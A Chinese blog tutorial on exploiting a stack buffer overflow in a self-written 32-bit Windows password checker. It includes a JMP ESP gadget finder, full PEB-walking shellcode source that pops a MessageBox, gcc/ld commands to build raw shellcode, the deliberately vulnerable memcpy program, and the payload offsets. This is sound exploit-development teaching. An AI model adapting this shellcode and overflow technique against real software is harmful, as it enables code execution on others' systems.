栈溢出实践(2)

版权声明:© By www.mrchen.love https://blog.csdn.net/weixin_43206704/article/details/88060035

    在之前《栈溢出实践》里,所有地址都是现场获得并填入的,这篇进行一点改进。

获取’JMP ESP’指令

    函数调用完之后,栈相较于调用之前都是平衡的,栈帧指向保存返回地址的下一帧。如果我们将返回地址指向‘jmp esp’指令,并且在保存返回地址的下一帧起始处填入代码,就无需定位运行代码的起始地址。
    ‘JMP ESP’的机器码为 FF E4,可以通过以下代码获取‘JMP ESP’指令:

#include <Windows.h>
#include <stdio.h>

#define DLLNAME "ntdll.dll"

int main()
{
	HMODULE hDll = LoadLibrary(DLLNAME);

	if (!hDll)
		return 0;

	byte* pBase = (byte*)hDll;
	int offset = 0;
	while (!(pBase[offset] == 0xFF && pBase[offset + 1] == 0xE4))
		offset++;

	
	printf("%x\n", pBase + offset);
}

    本例中‘JMP ESP’在ntdll.dll中的一个地址为77d101eb。

编写植入代码

    代码获取kernel32.dll的基地址( 《获取DLL的基地址》 ),通过kernel32.dll的导出表找到其中的LoadLibraryA和ExitProcess函数地址。LoadLibraryA用于加载user32.dll,ExitProcess用于退出程序。接着在加载的user32.dll的导出表里寻找需要调用的MessageBoxA函数地址。( 《遍历导出表》
    编写的代码如下,需要注意的是,字符串需要存在栈上:

#define DWORD int
#define WORD short

#include <wchar.h>

typedef struct _LIST_ENTRY {
   struct _LIST_ENTRY *Flink;
   struct _LIST_ENTRY *Blink;
} _LIST_ENTRY;

typedef struct _UNICODE_STRING
{
	unsigned short Length;
	unsigned short MaximumLength;
	wchar_t* Buffer;
}_UNICODE_STRING;

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     // RVA from base of image
    DWORD   AddressOfNames;         // RVA from base of image
    DWORD   AddressOfNameOrdinals;  // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

int findFunction(int baseAddr, char* searchName, int searchNameLen);
int main()
{
	int* pPEB = 0;
	
	__asm__(
		"movl %%fs:0x30, %0"
		: "=r"(pPEB)
		: 
		:
	);

	int* pIDR = (int*)(*(pPEB + 0x03)); //0x03 * 4 = 0x0c

	_LIST_ENTRY* pInLoadOrderModuleList = (_LIST_ENTRY*)(pIDR + 0x03); //0x03 * 4 = 0x0c

	_LIST_ENTRY* pHead, *p;
	p = pHead = pInLoadOrderModuleList->Flink;

	wchar_t user32Name[] = {L'k',L'e',L'r',L'n',L'e',L'l',L'3',L'2',L'.',L'd',L'l',L'l'};
	int baseAddr = 0;
	int i;
	do
	{
		_UNICODE_STRING* pBaseName = (_UNICODE_STRING*)(((int)p) + 0x2c);
		if (pBaseName->Buffer != 0)
		{
			for (i = 0; i < sizeof(user32Name) / sizeof(wchar_t); i++)
			{
				wchar_t wch = *((pBaseName->Buffer) + i);
				if (wch >= L'A' && wch <= L'Z')
					wch = wch - L'A' + L'a';
				if (wch != user32Name[i])
					break;
			}

			if (i >= sizeof(user32Name) / sizeof(wchar_t))
			{
				baseAddr = *((int*)(((int)p) + 0x18));
				break;
			}
		}
		//
		p = p->Flink;
	} while (p != pHead);

	if (baseAddr == 0)
		return 0;

	//基址找寻完毕
	char searchLoadLibraryA[] = {'L','o','a','d','L','i','b','r','a','r','y','A'};
	int VA_LoadLibraryA = findFunction(baseAddr, searchLoadLibraryA, sizeof(searchLoadLibraryA) );

	char searchExitProcess[] = {'E','x','i','t','P','r','o','c','e','s','s'};
	int VA_ExitProcess = findFunction(baseAddr, searchExitProcess, sizeof(searchExitProcess));

	char dllName[] = {'u','s','e','r','3','2','.','d','l','l', '\0'};
	
	__asm__(
		"push %%eax;"
		"call *%2;"
		: "=a"(baseAddr)
		: "a"(&dllName), "m"(VA_LoadLibraryA)
		: 
	);
	
	char searchMessageBoxA[] = {'M','e','s','s','a','g','e','B','o','x','A'};
	int VA_MessageBoxA = findFunction(baseAddr, searchMessageBoxA, sizeof(searchMessageBoxA) );
	
	char Msg[] = {'t','e','s','t', '\0'};
	__asm__(
		"push $0;"
		"push %%eax;"
		"push %%eax;"
		"push $0;"
		"call *%1;"
		"push $0;"
		"call *%2"
		:
		:"a"(&Msg), "m"(VA_MessageBoxA), "m"(VA_ExitProcess)
		:
	);

	return 0;
}

int findFunction(int baseAddr, char* searchName, int searchNameLen)
{
	IMAGE_EXPORT_DIRECTORY* exportDir;
	int RVA, VA;

	RVA = *((int*)(baseAddr + 0x3c));
	VA = baseAddr + RVA; // File address of new exe header
	VA += 0x78; //DataDirectory
	RVA = *((int*)VA);
	exportDir = (IMAGE_EXPORT_DIRECTORY*)(baseAddr + RVA);

	int* RVAFunctions = (int*)(baseAddr + exportDir->AddressOfFunctions);
	int* RVANames = (int*)(baseAddr + exportDir->AddressOfNames);
	short* Ordinals = (short*)(baseAddr + exportDir->AddressOfNameOrdinals);

	char* pName;
	int i, j, VAFunction = 0, ordinal;
	int numName = exportDir->NumberOfNames;
	for (i = 0; i < numName; i++)
	{
		RVA = *(RVANames + i);
		pName = (char*)(baseAddr + RVA);
		for (j = 0; j < searchNameLen && searchName[j] == pName[j]; j++);
		if (j >= searchNameLen)
		{
			ordinal = *(Ordinals + i);
			RVA = *(RVAFunctions + ordinal);
			VAFunction = baseAddr + RVA;

			//printf("%d: %s - 0x%x\n", ordinal, pName, VAFunction);
			break;
		}
	}

	return VAFunction;
}

    用gcc和ld编译链接成独立的二进制文件,省去用汇编代码编写的时间。

gcc -ffreestanding -c code.c -o test.o -m32 -fno-pic -fshort-wchar -O0

    -ffreestanding选项为生成独立的文件。-m32选项为生成32位的输出文件。没有-fno-pic选项在链接时会产生“ ‘undefined reference to `GLOBAL_OFFSET_TABLE’ ”的错误。linux下的wchar_t是4个字节的,用-fshort-wchar生成两字节的wchar_t。-O0选项指不要优化,代码优化不正确会造成错误。

ld -o test.bin -Ttext 0x0 --oformat binary test.o -m elf_i386 -O0

    -Ttext选项指定起始地址。–oformat binary指定生成独立的二进制文件。-m elf_i386选项指定基于elf_i386平台的文件。

实验

    由于代码中有00字节,将之前的实验代码更改为:

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <string.h>

#define PASSWORD "1234567"

int verifyPassword(char* password)
{
	int authenticated;
	char buffer[44];

	authenticated = strcmp(password, PASSWORD);
	memcpy(buffer, password, 0x500);

	return authenticated;
}

int main()
{
	int validFlag = 0;
	char password[0x500];

	FILE* fp = fopen("D:\\password.txt", "rb");
	if (fp == NULL)
		return 0;

	fread(password, sizeof(char), 0x500, fp);
	validFlag = verifyPassword(password);

	if (validFlag)
		printf("incorrect password\n");
	else
		printf("Congratulation!");

	return 0;
}

    反汇编得到缓冲区的起始地址为ebp-0x30,所以需要0x30的无关字节覆盖到存储的栈帧ebp之前,再需要4字节覆盖存储的ebp,即0x34字节后需要填充4字节的‘JMP ESP’指令的地址,往后填入生成的代码:
在这里插入图片描述
    再次运行实验代码,弹窗出现后程序结束。

后记

    每此开机后ntdll.dll的地址也会变化,还需改进。

猜你喜欢

转载自blog.csdn.net/weixin_43206704/article/details/88060035